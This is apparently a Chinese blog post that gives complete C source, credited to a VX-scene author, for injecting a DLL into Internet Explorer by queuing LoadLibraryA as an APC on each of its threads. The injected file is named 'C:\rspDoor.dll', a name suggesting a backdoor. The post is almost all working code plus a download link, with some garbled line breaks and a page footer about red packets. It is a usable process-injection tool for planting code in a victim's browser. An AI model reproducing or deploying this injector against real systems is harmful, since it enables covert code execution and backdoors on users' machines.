QueueUserApc实现DLL注入的测试

#include  " stdafx.h "
#define  _WIN32_WINNT 0x0400
#define  WIN32_LEAN_AND_MEAN    //  从 Windows 头中排除极少使用的资料
#include 
< stdio.h >
#include 
< stdlib.h >
#include 
< windows.h >
#include 
< Tlhelp32.h >
#include  
< winbase.h >
#pragma    comment  ( lib, "ws2_32.lib") 


//
//  coded by robinh00d[VX Z0NE]
//  Email:robinh00d_at_qq_dot_com
//  向指定进程的线程里插入APC实现DLL注入
// 思路来自PJF的老文
//
// typedef HANDLE (*OPENTHREAD) (DWORD dwFlag, BOOL bUnknow, DWORD dwThreadId); 
typedef HANDLE (__stdcall  * OPENTHREAD) (DWORD dwFlag, BOOL bUnknow, DWORD dwThreadId);
typedef 
struct  _TIDLIST
{
DWORD dwTid ;
_TIDLIST 
* pNext ;
}TIDLIST;

DWORD EnumThread(HANDLE hProcess, TIDLIST 
* pThreadIdList)
{
    
TIDLIST 
* pCurrentTid  =  pThreadIdList ;

const   char  szInjectModName[]  =   " C:\\rspDoor.dll "  ;
DWORD dwLen 
=  strlen(szInjectModName) ;

PVOID param 
=  VirtualAllocEx(hProcess, \
         NULL, dwLen, MEM_COMMIT 
|  MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE) ;

if  (param  !=  NULL)
{
   DWORD dwRet ;
   
if  (WriteProcessMemory(hProcess, param, (LPVOID)szInjectModName, dwLen,  & dwRet))
   {

    
while  (pCurrentTid)
    {
        
        HMODULE hDll 
=  ::LoadLibrary( " Kernel32.dll " ); 
        OPENTHREAD lpfnOpenThread 
=  (OPENTHREAD)::GetProcAddress(hDll,  " OpenThread " ); 
      HANDLE hThread 
=  lpfnOpenThread(THREAD_ALL_ACCESS, FALSE, pCurrentTid -> dwTid);

     
if  (hThread  !=  NULL)
     {
      
//
      
//  注入DLL到指定进程
      
//
      
      QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (unsigned 
long )param);
     }

     printf(
" TID:%d\n " , pCurrentTid -> dwTid) ;
     pCurrentTid 
=  pCurrentTid -> pNext ;
    }
   }
}
return   0  ;
}
//////////////////////////////////////////
//////////////////////////////////////////////// //
DWORD GetProcID( const   char   * szProcessName)
{
PROCESSENTRY32 pe32 
=  { 0 } ;
pe32.dwSize 
=   sizeof (PROCESSENTRY32);

HANDLE hSnapshot 
=  CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,  0 ) ;

if  (hSnapshot  ==  INVALID_HANDLE_VALUE)
{
   
return   0xFFFFFFFF  ;
}

if  ( ! Process32First(hSnapshot,  & pe32))
{
   
return   0xFFFFFFFF  ;
}

do
{
   
if  ( ! _strnicmp(szProcessName, pe32.szExeFile, strlen(szProcessName)))
   {
    printf(
" %s的PID是:%d\n " , pe32.szExeFile, pe32.th32ProcessID);
    
return  pe32.th32ProcessID ;
   }
while (Process32Next(hSnapshot,  & pe32));

return   0xFFFFFFFF  ;

}
////////////////////////////////////
///////////////////////////////////////////////////////// //
TIDLIST *  InsertTid(TIDLIST  * pdwTidListHead, DWORD dwTid)
{
TIDLIST 
* pCurrent  =  NULL ;
TIDLIST 
* pNewMember  =  NULL ;

if  (pdwTidListHead  ==  NULL)
{
   
return  NULL ;
}
pCurrent 
=  pdwTidListHead ;

while  (pCurrent  !=  NULL)
{

   
if  (pCurrent -> pNext  ==  NULL)
   {
    
//
    
//  定位到链表最后一个元素
    
//
    pNewMember  =  (TIDLIST  * )malloc( sizeof (TIDLIST)) ;

    
if  (pNewMember  !=  NULL)
    {
     pNewMember
-> dwTid  =  dwTid ;
     pNewMember
-> pNext  =  NULL ;
     pCurrent
-> pNext  =  pNewMember ;
     
return  pNewMember ;
    }
    
else
    {
     
return  NULL ;
    }
   }
   pCurrent 
=  pCurrent -> pNext ;
}

return  NULL ;
}

int  EnumThreadID(DWORD dwPID, TIDLIST  * pdwTidList)
{
int  i  =   0  ;

THREADENTRY32 te32 
=  { 0 } ;
te32.dwSize
=   sizeof (THREADENTRY32) ;

HANDLE hSnapshot 
=  CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,dwPID) ;

if (hSnapshot  !=  INVALID_HANDLE_VALUE)
{
   
if (Thread32First(hSnapshot, & te32))
   {
    
do
    {
     
if (te32.th32OwnerProcessID == dwPID)
     {
      
if  (pdwTidList -> dwTid  ==   0 )
      {
       pdwTidList
-> dwTid  =  te32.th32ThreadID ;
      }
      
else
      {
       
if  (NULL  ==  InsertTid(pdwTidList, te32.th32ThreadID))
       {
        printf(
" 插入失败!\n " ) ;
        
return   0  ;
       }
      }
    
     }
    }
while (Thread32Next(hSnapshot, & te32));
   }
}
return   1  ;
}

int  main( int  argc,  char *  argv[])
{
TIDLIST 
* pTidHead  =  (TIDLIST  * )malloc( sizeof (TIDLIST)) ;

if  (pTidHead  ==  NULL)
{
   
return   1  ;
}
RtlZeroMemory(pTidHead, 
sizeof (TIDLIST)) ;

DWORD dwPID 
=   0  ;

if  ((dwPID  =  GetProcID( " iexplore.exe " ))  ==   0xFFFFFFFF )
{
   printf(
" 进程ID获取失败!\n " ) ;
   
return   1  ;
}

//
//  枚举线程ID
//
EnumThreadID(dwPID, pTidHead) ;

HANDLE hProcess 
=  OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID) ;

if  (hProcess  ==  NULL)
{
   
return   1  ;
}
EnumThread(hProcess, pTidHead) ;

return   0 ;
}

/Files/tt_mc/QUAinsert.rar

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值